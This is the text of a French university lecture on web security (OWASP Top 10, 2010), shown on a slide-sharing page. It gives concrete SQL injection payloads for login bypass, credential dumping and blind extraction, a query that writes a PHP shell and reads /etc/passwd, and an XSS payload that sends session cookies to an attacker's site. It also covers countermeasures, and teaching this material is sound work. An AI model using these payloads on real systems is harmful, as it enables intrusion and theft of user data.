Cours Secu Web

5 643 vues

Publié le

Présentation sur la sécurité et les vulnérabilités web sous licence Creative Common.
Cours donné à l'INSA de Rouen par Cedric Foll

Publié dans : Technologie
0 commentaire
3 j’aime
Statistiques
Remarques
  • Soyez le premier à commenter

Aucun téléchargement
Vues
Nombre de vues
5 643
Sur SlideShare
0
Issues des intégrations
0
Intégrations
30
Actions
Partages
0
Téléchargements
385
Commentaires
0
J’aime
3
Intégrations 0
Aucune incorporation

Aucune remarque pour cette diapositive

Cours Secu Web

  1. 1. SÉCURITÉ WEB (introduction) cedric.foll@(laposte.net|education.gouv.fr) http://cedric.foll.name/ Sous licence « creative common » Paternité, Partage des Conditions Initiales à l'Identique http://creativecommons.org/licenses/by-sa/2.0/fr/ 1 mercredi 13 janvier 2010
  2. 2. PLAN Les principales vulnérabilités et attaques associées Scénario d’attaque De la faille web à la prise en main du serveur (ou du client) 2 mercredi 13 janvier 2010
  3. 3. VULNÉRABILITÉS Top 10 2010 de l’OWASP (Open Web Application Security Project) : A1 Injection A2 Cross Site Scripting (XSS) A3 Broken Authentication and Session Management A4 Insecure Direct Object Reference A5 Cross Site Request Forgery (CSRF) A6 Security Misconfiguration A7 Failure to Restrict URL Access A8 Unvalidated Redirects and Forwards A9 Insecure Cryptographic Storage A10 Insufficient Transport Layer Protection 3 mercredi 13 janvier 2010
  4. 4. A1 INJECTION FLAW Attaque Impact Contre mesure 4 mercredi 13 janvier 2010
  5. 5. INJECTION FLAWS : PRINCIPE DE L’ATTAQUE Injection Flaw : Injection de code qui sera exécuté par le « serveur » Le code est en général du SQL, mais aussi possible avec d’autres langages de requête (ldap, XPatch, ...) ou encore du code interprété (fonction de type « eval », « system » et consorts...). Probablement le moyen le plus simple pour prendre le contrôle d’un serveur. Nous n’abordons ici que les SQL Injection en prenant comme exemple PHP/Mysql. 5 mercredi 13 janvier 2010
  6. 6. ATTAQUES « SIMPLES » 6 mercredi 13 janvier 2010
  7. 7. SQL INJECTION : PRINCIPE DE L’ATTAQUE L'attaquant envoie au site par différents champs (formulaire GET, POST, Cookies, User-Agent, ...) du code SQL qui sera exécuté par le serveur. Le serveur utilise les données envoyées par l'utilisateur pour construire une requête SQL. Impact sur l’application web Contournement du processus d'authentification. Récupération (ou altération) de données dans la base. Récupération (ou dépôt) de fichier. Exécution de code arbitraire. 7 mercredi 13 janvier 2010
  8. 8. SQL INJECTION CONTOURNEMENT D’IDENTIFICATION 8 mercredi 13 janvier 2010
  9. 9. SQL INJECTION CONTOURNEMENT D’IDENTIFICATION Requête SQL construite : select * from user where user = '$user' and passwd='$passwd' Paramètres envoyés par le pirate $user = 'or 1=1# $passwd = toto Ce qui va être envoyé vers le serveur SQL select * from user where user = '' or 1=1# ' and passwd='toto' 9 mercredi 13 janvier 2010
  10. 10. SQL INJECTION CONTOURNEMENT D’IDENTIFICATION Conséquences La requête SQL va renvoyer des résultats et donc le test suivant va aboutir : if(mysql_num_rows($results) != 0) Le pirate est authentifié ! Que faire si le test avait été ? if(mysql_num_rows($results) == 1) Le pirate peut utiliser la commande SQL limit : limit nombre d’éléments offset indice select * from user where user = '' or 1=1 limit 1 offset 0 -> renvoie le premier élément (indice 0) de la table. 10 mercredi 13 janvier 2010
  11. 11. SQL INJECTION CONTOURNEMENT D’IDENTIFICATION Envoyer des caractères spéciaux dans les champs des formulaires et voir si des erreurs sont générées. caractères à essayer : ' (quote), '' (double quote), (, ), #, --, ; Exemple d'erreur pouvant apparaître : 11 mercredi 13 janvier 2010
  12. 12. SQL INJECTION CONTOURNEMENT D’IDENTIFICATION En générale faire un ' or 1=1# ne suffit pas : La requête SQL peut être plus complexe (usage de parenthèses par exemple): select * from user where (login='$login' and passwd='$passwd') On injecte : login = ' or 1=1)# 12 mercredi 13 janvier 2010
  13. 13. SQL INJECTION CONTOURNEMENT D’IDENTIFICATION Les messages d'erreur peuvent aider à construire l'attaque : Error in query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'toto')' at line 1 Les messages d'erreur ci dessus montrent qu'il y a une parenthèse à fermer pour construire la réponse. 13 mercredi 13 janvier 2010
  14. 14. LA CONTRE-MESURE (HASARDEUSE) EN PHP magic_quote_gpc = On Ce réglage remplace toutes les « quote » par « antislash quote » dans tout ce qu'envoie l'utilisateur (GET, POST, COOKIES). Impossibilité de contourner les processus d'authentification par SQL injection ! « This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged. » (http://php.net/manual/en/ security.magicquotes.php) 14 mercredi 13 janvier 2010
  15. 15. ATTAQUES « COMPLEXES » 15 mercredi 13 janvier 2010
  16. 16. SQL INJECTION RÉCUPÉRATION DE DONNÉES Si le développeur utilise gpc_magic_quotes (ou s’il filtre les « quote » dans les entrées utilisateurs) ? Si contourner l’authentification ne vous suffit pas (parce que ce qui vous intéresse est de dumper la table) ? Les solutions : UNION query (inband) SQL Injection Blind SQL Injection Full blind SQL injection (ou time based SQL Injection) 16 mercredi 13 janvier 2010
  17. 17. UNION QUERY (INBAND) SQL INJECTION Considérons le code suivant dont le résultat est ensuite affiché par le serveur d’application : select texte from commentaire where id=$id Avec MySQL (et la plupart des bases de données), les comparaisons sur les nombres se font sans « quote ». Il est également possible d’utiliser des chaines sans « quote » en les écrivant en hexadécimal (0x414243 = ‘ABC’). Pour exploiter cette faille, il est possible d’envoyer ceci : id = 3141 union select login from utilisateurs limit 1 offset 0 Si dans la table « commentaire », il n’y a pas d’entrée avec comme id « 3141 », la commande renverra le premier « login » de la table « utilisateurs ». 17 mercredi 13 janvier 2010
  18. 18. ATTAQUE Il faut à gauche et à droite de l’UNION avoir le même nombre de champs (1 champ dans notre exemple). Assez simple à gérer, il suffit d’utiliser la commande «order by» pour déterminer, par tâtonnement, le nombre d’éléments dans la requête: id = 3141 order by 6 # Puis lorsque l’on a trouvé le nombre maximum ne générant pas d’erreurs: id = 3141 union select 1,2,3,4,5,6 # Présences de parenthèses... Par tâtonnement en s’appuyant, le cas échéant, sur les messages d’erreur. 18 mercredi 13 janvier 2010
  19. 19. ATTAQUE Certaines bases (telles que PostgreSQL mais pas MySQL) attendent le même type de données à gauche et à droite du UNION. Il existe des fonctions de type CAST pour s’en sortir. Il faut connaître des tables et des colonnes à récupérer. Facile si on possède les sources de l'application. Sinon cela dépend de la base de données et de sa version : À partir de MySQL 5.0 la base « information_schema » contient les META données. Sinon par « bruteforce » avec des chances de succès très aléatoire. 19 mercredi 13 janvier 2010
  20. 20. ATTAQUE Il est aussi possible d’utiliser la commande concat (MySQL) pour aller plus vite : id = 3141 union select concat(login, 111,password) from utilisateurs limit 1 offset 0 20 mercredi 13 janvier 2010
  21. 21. BLIND SQL INJECTION Que faire si l’on arrive à injecter du code, mais que le serveur d’application n’affiche pas le résultat ? C’est le cas, notamment, dans les processus d’authentification. On est juste capable de savoir si la commande renvoie vrai ou faux. Dans la pratique, c’est quelque chose qui arrive relativement souvent (et pas seulement dans les requêtes liées à une identification). 21 mercredi 13 janvier 2010
  22. 22. ATTAQUE Considérons le code suivant utilisé pour afficher le nombre de clients ayant réalisé plus de « nb » achats. select COUNT(*) from client where achats >= $nb Injections : nb = 3141 or 1=1 # affiche le nombre total de clients dans la base nb = 0 and 1=0 # affiche 0 22 mercredi 13 janvier 2010
  23. 23. ATTAQUE Récupération du contenu de la variable @@version Récupération octet par octet par dichotomie : nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 128 Si vrai : nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 192 Sinon : nb = 0 and ascii(SUBSTRING(@@version,1,1)) >= 64 ... Puis (passage au second octet) : nb = 0 and ascii(SUBSTRING(@@version,2,1)) >= 128 23 mercredi 13 janvier 2010
  24. 24. ATTAQUE Cela peut sembler compliqué et long Mais c’est facilement scriptable et marche souvent très bien. Il faut cibler les données à récupérer (par exemple login/ mots de passe). 24 mercredi 13 janvier 2010
  25. 25. FULL BLIND SQL INJECTION Que faire si l’on arrive à injecter du code, mais même pas à savoir s’il renvoie vrai ou faux ? Il reste un (maigre) espoir, la commande sleep (MySQL >= 5.0.12) et les exécutions conditionnelles (IF sous MySQL). IF(1=1,foo,bar) -> renvoie foo L’attaque devient : nb = 3141 or IF(ascii(SUBSTRING(@@version,1,1)) >= 128,sleep(5),1) Si le serveur attend 5 secondes c’est que le test a réussi... 25 mercredi 13 janvier 2010
  26. 26. ATTAQUE Cela peut sembler compliqué et long C’est exact ! Il faut très précisément cibler les données à récupérer (par exemple, le mot de passe MySQL « root »). 26 mercredi 13 janvier 2010
  27. 27. SQL INJECTION WHAT ELSE ? De même qu’il est possible de lire des données il est possible d’en ajouter (INSERT), supprimer (DELETE), modifier (UPDATE). La plupart des bases de données, dont MySQL, permettent de lire et d’écrire des fichiers : SELECT LOAD_FILE('/etc/passwd') SELECT ‘<?php exec($cmd,$res);echo $res;?>’ INTO dumpfile '/var/www/shell.php’ Il est même possible, avec certaines bases de données (mais pas MySQL), d'exécuter directement des commandes systèmes. 27 mercredi 13 janvier 2010
  28. 28. EN BREF Point d’entrée très efficace pour compromettre un site web. A minima permet un dump des tables accessibles jusqu’à devenir «administrateur» des applications web: Permet assez souvent de déposer du code (ajout de fichiers, plugin, ...) Mais aussi (avec de la chance) : Exécution de commandes systèmes. Ou possibilité de déposer un shell php. 28 mercredi 13 janvier 2010
  29. 29. EN BREF Pour les attaques manuelles : Paros (http://www.parosproxy.org), Burb (http://portswigger.net/) Les cheat sheets (http://pentestmonkey.net/cheat-sheets/) Pour MySQL, PostgreSQL, Oracle, DB2, Informix, MSSQL, Ingres SQL liste les meta tables, la manière d’obtenir la nième ligne, le nième octet, de lire/écrire un fichier... Un excellent outil d’attaque « automatique » sqlmap (http://sqlmap.sourceforge.net) 29 mercredi 13 janvier 2010
  30. 30. CONTRE MESURES Granularité des privilèges Une application de type livre d’or ne doit pas être MySQL root sur la base de données ! Filtrages des données envoyées par l’utilisateur Quand c’est un nombre on le vérifie Quand c’est une chaine, on utilise avec PHP mysql_real_escape_string Utilisation de « Prepared Statements » 30 mercredi 13 janvier 2010
  31. 31. HTTP://XKCD.COM/327/ 31 mercredi 13 janvier 2010
  32. 32. A2 XSS Attaque Impact Contre mesures 32 mercredi 13 janvier 2010
  33. 33. XSS : PRINCIPE DE L’ATTAQUE Le principe des attaques XSS est d’injecter et de faire exécuter un code arbitraire (en général du JavaScript) navigateur Web. Types d’attaque : XSS persistant : le pirate piège une page en déposant un code sur la page d’un site Dépôt de code hostile sur un forum, email malicieux lu sur un webmail XSS volatile : le pirate crée un lien qui, lorsqu’il sera visité, conduira à l’exécution du code http://site.fr/index.php?display=<script>alert(document.cookie)</ script> 33 mercredi 13 janvier 2010
  34. 34. XSS : IMPACT Historiquement (ie début des années 2000) : Vol des sessions utilisateurs (cookie de session envoyé sur la page du pirate) http://site.fr/index.php? display=<script>document.location='http://www.site- pirate.com/steal.php? '%20+document.cookie</script> Phishing Insertion d’une fausse page d'authentification via un « iframe » 34 mercredi 13 janvier 2010
  35. 35. XSS : IMPACT L’impact explose avec la montée en puissance du Web 2.0 et d’Ajax « We're entering a time when XSS has become the new Buffer Overflow and Javascript Malware is the new shellcode » (Jeremiah Grossman, Whitehat Security) Quelques exemples : Redirige le navigateur vers une page contenant des exploits pour prendre le contrôle de la machine de la victime. Scanner de ports (ie comme nmap) sur le LAN où se trouve le navigateur de la victime. Attaquer les sites web du réseau interne à la recherche de XSS et SQL Injection («proof of concept» Jikto) Trouver le hash NTLM (mot de passe Windows) du poste sur lequel tourne le navigateur (http://code.google.com/p/squirtle/) ... Et envoyer les résultats de tout ceci au pirate... 35 mercredi 13 janvier 2010
  36. 36. XSS : IMPACT Et les réseaux sociaux ? Possibilité d’écrire des « worms » XSS Samy Worm touche MySpace en 2007 Un utilisateur visitant un profil infecté (ie code JavaScript de réplication) provoque l’infection de son propre profil. 1.000.000 de profils infectés en 20 heures. D’autres exemples depuis sur orkut, facebook, twitter, ... 36 mercredi 13 janvier 2010
  37. 37. XSS : EN BREF Permet la prise de contrôle totale du navigateur 37 mercredi 13 janvier 2010
  38. 38. CONTRE MESURE Filtrer les entrées utilisateurs Mais surtout : réencoder, au moment de l’affichage, tout ce qui vient de l’utilisateur. Par exemple en PHP, utilisation de htmlentities() 38 mercredi 13 janvier 2010
  39. 39. POUR ALLER PLUS LOIN Présentation de Pierre Gardenat à la SSTIC 2009 : <script>alert('XSS')</script> XSS - de la brise à l'ouragan voir http://actes.sstic.org/SSTIC09/ 39 mercredi 13 janvier 2010
  40. 40. MALICIOUS FILE EXECUTION Cette attaque était A3 en 2007 selon l’OWASP, supprimée en 2010. Attaque Impact Contre mesures 40 mercredi 13 janvier 2010
  41. 41. MALICIOUS FILE EXECUTION Faire exécuter au serveur un fichier malveillant Typiquement un PHP Shell (c99.php, r57.php...), un « payload » metasploit ou sqlmap en PHP, ASP, JSP... Comment le déposer ? Accès en écriture sur le serveur (FTP, SSH, HTTP PUT, WebDav...) Application permettant le dépôt de fichier et qui ne vérifie pas (ou mal) qu’il ne s’agit pas de code. ... 41 mercredi 13 janvier 2010
  42. 42. MALICIOUS FILE EXECUTION Particularité de PHP include(« $file ») fonctionne avec $file contenant une URL... (de même que toutes les fonctions relatives à l’ouverture d’un fichier). Source d’un très grand nombre de failles PHP Le pirate réussit à écraser le contenu de la variable et l'initialise à « http://pirate.com/c99.gif » Désactivable via allow_url_fopen = Off dans php.ini. 42 mercredi 13 janvier 2010
  43. 43. EXEMPLE DE CODE VULNÉRABLE 43 mercredi 13 janvier 2010
  44. 44. 44 mercredi 13 janvier 2010
  45. 45. IMPACT & CONTRE MESURES Impact Prise en main du système Contre mesure Désactiver allow_url_fopen. Interdire, si possible, l'exécution de commandes (exec, system, ...) dans les pages web. Durcissement de la configuration système. 45 mercredi 13 janvier 2010
  46. 46. A3 BROKEN AUTHENTICATION AND SESSION MANAGEMENT 46 mercredi 13 janvier 2010
  47. 47. RAPPELS SUR HTTP HTTP est un protocole sans états : Par conséquent, la gestion des états est du ressort du code applicatif (cookies, GET, POST...) Le suivi de l’utilisateur se fait via des « SESSION ID » et les caractéristiques de l’utilisateur doivent être stockées du côté du serveur via des « variables de session ». 47 mercredi 13 janvier 2010
  48. 48. SESSION ID Les SESSION ID doivent être aléatoires et ne pas pouvoir être devinées par un pirate : Elles ne doivent pas transiter en claire. Éviter de les faire transiter via GET (ie dans l’URL) car alors les SESSION ID sont stockés en claire dans les logs... Elles doivent s’appuyer sur des mécanismes de générateurs aléatoires robustes : Par exemple, pas un MD5 de la date de connexion... Elles doivent avoir un degré d’entropie important pour éviter les attaques par force brute. Autant que possible s’appuyer sur le mécanisme proposé par le serveur d’application utilisé. 48 mercredi 13 janvier 2010
  49. 49. VARIABLES DE SESSIONS Tout ce qui caractérise l’utilisateur doit être géré par des variables de sessions Ne pas utiliser de champs « hiddens » pour ceci ! HTTP est un protocole sans états, par conséquent on ne peut pas vérifier de quelle page il vient ni s’il a modifié des variables cachées. 49 mercredi 13 janvier 2010
  50. 50. ATTAQUE Deviner le numéro de session d’un utilisateur et récupérer ses privilèges. Modifier le contenu d’un champ caché utilisé comme variable de sessions (par un programmeur incompétent :)) Par exemple sur un site marchand, le prix des achats est géré par une variable cachée... 50 mercredi 13 janvier 2010
  51. 51. A4 INSECURE DIRECT OBJECT REFERENCE 51 mercredi 13 janvier 2010
  52. 52. INSECURE DIRECT OBJECT REFERENCE Définition de l’OWASP : « Attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object they aren’t authorized for. » Par exemple dans une application de gestion de stocks, pour un utilisateur donné, l’application ne propose l’accès qu’aux stocks gérés par l’utilisateur par un menu déroulant : Pour l’utilisateur A, accès à « view_stock.php?st=(1|3|4) » Si A essaie « view_stock.php?st=2 » et que ça passe, il y a un problème... 52 mercredi 13 janvier 2010
  53. 53. A5 CROSS SITE REQUEST FORGERY (CSRF) 53 mercredi 13 janvier 2010
  54. 54. CSRF : PRINCIPE Conduire l’utilisateur sur un site malveillant. Sur ce site, conduire son navigateur à réaliser des actions sur un site sur lequel il est authentifié (par exemple en lui faisant charger des images). Exemple : Le pirate construit une page qui contient des « images » dont l’URL correspond à l’ajout des articles sur monamazon.com, puis une image qui modifie l’adresse de livraison vers sa propre adresse : <img src=http://monamazon.com?ajout=iMac27> <img src=http://monamazon.com?nvl_adr=Cedric Foll rue de Lattre de Tassigny 76130_Mont Saint Aignan> 54 mercredi 13 janvier 2010
  55. 55. CSRF : CONTRE MESURES Utiliser des POST à la place des GET? L’attaque par chargement d’images ne fonctionne plus, mais le pirate peut très bien utiliser du javascript à la place. Utilisation de « token » Sur chaque page, création d’un token aléatoire et temporaire envoyé via un champ « hidden » dont on valide au niveau du serveur la validité sur chaque page... On valide ainsi que le formulaire envoyé ait été créé dans les quelques dernières minutes. 55 mercredi 13 janvier 2010
  56. 56. A9 INSECURE CRYPTOGRAPHIC STORAGE 56 mercredi 13 janvier 2010
  57. 57. INSECURE CRYPTOGRAPHIC STORAGE Quelques règles : Les mots de passes des utilisateurs doivent, si possible, être stockés sous forme de condensat avec si possible une graine afin de ralentir les attaques par force brute. Les données sensibles devraient être chiffrées. 57 mercredi 13 janvier 2010
  58. 58. A6 SECURITY MISCONFIGURATION A7 FAILURE TO RESTRICT URL ACCESS A8 UNVALIDATED REDIRECTS AND FORWARDS A10 INSUFFICIENT TRANSPORT LAYER PROTECTION 58 mercredi 13 janvier 2010
  59. 59. Non couvert pendant ce cours. 59 mercredi 13 janvier 2010
  60. 60. QUESTIONS? Remerciements pour les relectures et remarques: Louis Nyffenegger (ASI2006) Pierre Gardenat 60 mercredi 13 janvier 2010

×